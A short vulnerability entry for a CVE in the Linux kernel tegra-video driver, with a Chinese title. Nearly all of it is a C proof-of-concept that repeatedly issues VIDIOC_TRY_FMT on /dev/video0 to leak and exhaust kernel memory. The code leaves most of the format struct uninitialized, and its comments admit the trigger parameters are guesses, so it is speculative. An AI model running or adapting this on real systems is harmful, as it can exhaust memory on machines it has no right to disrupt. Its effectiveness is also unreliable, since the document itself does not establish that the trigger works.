CVE-2026-43162 Linux内核tegra-video内存泄漏漏洞

/* * PoC for CVE-2026-43162 * This code attempts to trigger the memory leak in __tegra_channel_try_format * by opening the video device and setting a format that leads to an error path. * Repeated execution will consume kernel memory. */ #include <fcntl.h> #include <linux/videodev2.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { int fd = open("/dev/video0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct v4l2_format fmt; // Initialize format to potentially trigger error in v4l2_subdev_call fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; // Set specific parameters that might cause subdevice failure // (Actual parameters depend on specific hardware/driver configuration) for(int i = 0; i < 1000; i++) { if (ioctl(fd, VIDIOC_TRY_FMT, &fmt) < 0) { // If ioctl fails, the driver might hit the leak path // depending on the specific error condition in tegra-video } } close(fd); return 0; }